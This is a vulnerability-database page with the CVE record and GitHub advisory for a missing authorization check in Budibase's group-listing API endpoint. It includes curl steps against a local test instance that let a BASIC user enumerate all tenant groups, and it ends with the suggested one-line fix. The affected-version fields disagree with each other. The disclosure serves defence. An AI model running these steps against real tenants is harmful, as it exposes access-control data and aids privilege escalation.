Vulnerability-Lookup

CVE-2026-73301 (GCVE-0-2026-73301)

Vulnerability from cvelistv5 – Published: 2026-08-12 18:08 – Updated: 2026-08-12 18:08

Title

Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings

Summary

Budibase is an open-source low-code platform. Prior to 3.39.25, the GET /api/global/groups endpoint in packages/worker/src/api/routes/global/groups.ts omitted auth.builderOrAdmin, allowing an authenticated BASIC role user to enumerate tenant groups, role mappings and user memberships, builder permissions, and default-group flags. The disclosure exposes the tenant access-control structure to users who are not builders or administrators. This issue is fixed in version 3.39.25.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/Budibase/budibase/security/adv…	x_refsource_CONFIRM
https://github.com/Budibase/budibase/pull/19109	x_refsource_MISC
https://github.com/Budibase/budibase/commit/93db7…	x_refsource_MISC
https://github.com/Budibase/budibase/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Budibase	budibase	Affected: < 3.39.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "budibase",
          "vendor": "Budibase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.39.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Budibase is an open-source low-code platform. Prior to 3.39.25, the GET /api/global/groups endpoint in packages/worker/src/api/routes/global/groups.ts omitted auth.builderOrAdmin, allowing an authenticated BASIC role user to enumerate tenant groups, role mappings and user memberships, builder permissions, and default-group flags. The disclosure exposes the tenant access-control structure to users who are not builders or administrators. This issue is fixed in version 3.39.25."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-12T18:08:07.998Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"
        },
        {
          "name": "https://github.com/Budibase/budibase/pull/19109",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Budibase/budibase/pull/19109"
        },
        {
          "name": "https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a"
        },
        {
          "name": "https://github.com/Budibase/budibase/releases/tag/3.39.25",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Budibase/budibase/releases/tag/3.39.25"
        }
      ],
      "source": {
        "advisory": "GHSA-4qcj-m5wp-jmf4",
        "discovery": "UNKNOWN"
      },
      "title": "Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-73301",
    "datePublished": "2026-08-12T18:08:07.998Z",
    "dateReserved": "2026-08-11T19:42:11.451Z",
    "dateUpdated": "2026-08-12T18:08:07.998Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-73301",
      "date": "2026-08-14",
      "epss": "0.00251",
      "percentile": "0.16596"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-73301\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-12T19:17:55.723\",\"lastModified\":\"2026-08-12T19:17:55.723\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Budibase is an open-source low-code platform. Prior to 3.39.25, the GET /api/global/groups endpoint in packages/worker/src/api/routes/global/groups.ts omitted auth.builderOrAdmin, allowing an authenticated BASIC role user to enumerate tenant groups, role mappings and user memberships, builder permissions, and default-group flags. The disclosure exposes the tenant access-control structure to users who are not builders or administrators. This issue is fixed in version 3.39.25.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"Budibase\",\"product\":\"budibase\",\"versions\":[{\"version\":\"\u003c 3.39.2\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N\",\"baseScore\":4.3,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":1.4}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-862\"}]}],\"references\":[{\"url\":\"https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/Budibase/budibase/pull/19109\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/Budibase/budibase/releases/tag/3.39.25\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4\",\"source\":\"security-advisories@github.com\"}]}}"
  }
}

GHSA-4QCJ-M5WP-JMF4

Vulnerability from github – Published: 2026-07-24 21:13 – Updated: 2026-08-12 18:57

Summary

Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings

Details

Summary

The GET /api/global/groups endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.

Steps to Reproduce

1. Start Budibase

docker run -d --name budibase-poc -p 10000:80 \
  -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \
  -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \
  -e API_ENCRYPTION_KEY=api_enc_key_test123456 \
  -e BB_ADMIN_USER_EMAIL=admin@test.com \
  -e BB_ADMIN_USER_PASSWORD=TestPassword123! \
  budibase/budibase:latest

until curl -sf http://localhost:10000/health; do sleep 5; done

2. Login as admin, create a user group, create a BASIC user

# Login as admin
curl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin@test.com","password":"TestPassword123!"}'

# Create a user group (requires license with user groups feature, or use Budibase Cloud)
# On self-hosted without license, groups may not be available
# If available:
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \
  -H "Content-Type: application/json" \
  -d '{"name":"Secret Admin Group","color":"#ff0000","icon":"AdminPanelSettingsIcon","roles":{"app_abc123":"ADMIN"}}'

# Create a BASIC user (no builder, no admin)
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \
  -H "Content-Type: application/json" \
  -d '{"email":"basic@test.com","password":"BasicPass123!","roles":{},"admin":{"global":false},"builder":{"global":false}}'

3. Login as BASIC user and enumerate all groups (the vulnerability)

# Login as BASIC user
curl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{"username":"basic@test.com","password":"BasicPass123!"}'

# List ALL groups (should return 403, but returns 200 with full data)
curl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups

Expected: 403 Forbidden (consistent with GET /api/global/groups/:id which requires builderOrAdmin)

Actual: 200 OK with full group data including role mappings, member lists, and builder flags.

Standalone verification (code review)

# In the budibase source tree:
grep -A2 'global/groups"' packages/worker/src/api/routes/global/groups.ts

Output shows the list endpoint has NO auth middleware:

  .get("/api/global/groups",            # <-- NO auth.builderOrAdmin
    requireFeature(Feature.USER_GROUPS),
    controller.fetch

Compare with the single-group endpoint directly below:

  .get("/api/global/groups/:groupId",   # <-- HAS auth.builderOrAdmin
    auth.builderOrAdmin,
    requireFeature(Feature.USER_GROUPS),
    controller.getById

Root Cause

File: packages/worker/src/api/routes/global/groups.ts, lines 40-44

The list endpoint is the ONLY group endpoint without RBAC:

Endpoint	Auth Middleware
`POST /api/global/groups`	`auth.adminOnly`
`DELETE /api/global/groups/:id/:rev`	`auth.adminOnly`
`GET /api/global/groups/:id`	`auth.builderOrAdmin`
`GET /api/global/groups/:id/users`	`auth.builderOrAdmin`
`GET /api/global/groups`	NONE

Impact

A BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.

Suggested Fix

  router.get("/api/global/groups",
+   auth.builderOrAdmin,
    requireFeature(Feature.USER_GROUPS),
    controller.fetch
  )

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73301"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:13:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `GET /api/global/groups` endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.\n\n## Steps to Reproduce\n\n### 1. Start Budibase\n\n```bash\ndocker run -d --name budibase-poc -p 10000:80 \\\n  -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \\\n  -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \\\n  -e API_ENCRYPTION_KEY=api_enc_key_test123456 \\\n  -e BB_ADMIN_USER_EMAIL=admin@test.com \\\n  -e BB_ADMIN_USER_PASSWORD=TestPassword123! \\\n  budibase/budibase:latest\n\nuntil curl -sf http://localhost:10000/health; do sleep 5; done\n```\n\n### 2. Login as admin, create a user group, create a BASIC user\n\n```bash\n# Login as admin\ncurl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"admin@test.com\",\"password\":\"TestPassword123!\"}\u0027\n\n# Create a user group (requires license with user groups feature, or use Budibase Cloud)\n# On self-hosted without license, groups may not be available\n# If available:\ncurl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"Secret Admin Group\",\"color\":\"#ff0000\",\"icon\":\"AdminPanelSettingsIcon\",\"roles\":{\"app_abc123\":\"ADMIN\"}}\u0027\n\n# Create a BASIC user (no builder, no admin)\ncurl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"basic@test.com\",\"password\":\"BasicPass123!\",\"roles\":{},\"admin\":{\"global\":false},\"builder\":{\"global\":false}}\u0027\n```\n\n### 3. Login as BASIC user and enumerate all groups (the vulnerability)\n\n```bash\n# Login as BASIC user\ncurl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"basic@test.com\",\"password\":\"BasicPass123!\"}\u0027\n\n# List ALL groups (should return 403, but returns 200 with full data)\ncurl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups\n```\n\n**Expected:** 403 Forbidden (consistent with `GET /api/global/groups/:id` which requires `builderOrAdmin`)\n\n**Actual:** 200 OK with full group data including role mappings, member lists, and builder flags.\n\n### Standalone verification (code review)\n\n```bash\n# In the budibase source tree:\ngrep -A2 \u0027global/groups\"\u0027 packages/worker/src/api/routes/global/groups.ts\n```\n\nOutput shows the list endpoint has NO auth middleware:\n```\n  .get(\"/api/global/groups\",            # \u003c-- NO auth.builderOrAdmin\n    requireFeature(Feature.USER_GROUPS),\n    controller.fetch\n```\n\nCompare with the single-group endpoint directly below:\n```\n  .get(\"/api/global/groups/:groupId\",   # \u003c-- HAS auth.builderOrAdmin\n    auth.builderOrAdmin,\n    requireFeature(Feature.USER_GROUPS),\n    controller.getById\n```\n\n## Root Cause\n\nFile: `packages/worker/src/api/routes/global/groups.ts`, lines 40-44\n\nThe list endpoint is the ONLY group endpoint without RBAC:\n\n| Endpoint | Auth Middleware |\n|----------|---------------|\n| `POST /api/global/groups` | `auth.adminOnly` |\n| `DELETE /api/global/groups/:id/:rev` | `auth.adminOnly` |\n| `GET /api/global/groups/:id` | `auth.builderOrAdmin` |\n| `GET /api/global/groups/:id/users` | `auth.builderOrAdmin` |\n| **`GET /api/global/groups`** | **NONE** |\n\n## Impact\n\nA BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.\n\n## Suggested Fix\n\n```diff\n  router.get(\"/api/global/groups\",\n+   auth.builderOrAdmin,\n    requireFeature(Feature.USER_GROUPS),\n    controller.fetch\n  )\n```",
  "id": "GHSA-4qcj-m5wp-jmf4",
  "modified": "2026-08-12T18:57:15Z",
  "published": "2026-07-24T21:13:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/19109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.39.25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": " Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-73301 (GCVE-0-2026-73301)

GHSA-4QCJ-M5WP-JMF4

Summary

Steps to Reproduce

1. Start Budibase

2. Login as admin, create a user group, create a BASIC user

3. Login as BASIC user and enumerate all groups (the vulnerability)

Standalone verification (code review)

Root Cause

Impact

Suggested Fix

Tags

Sightings

Nomenclature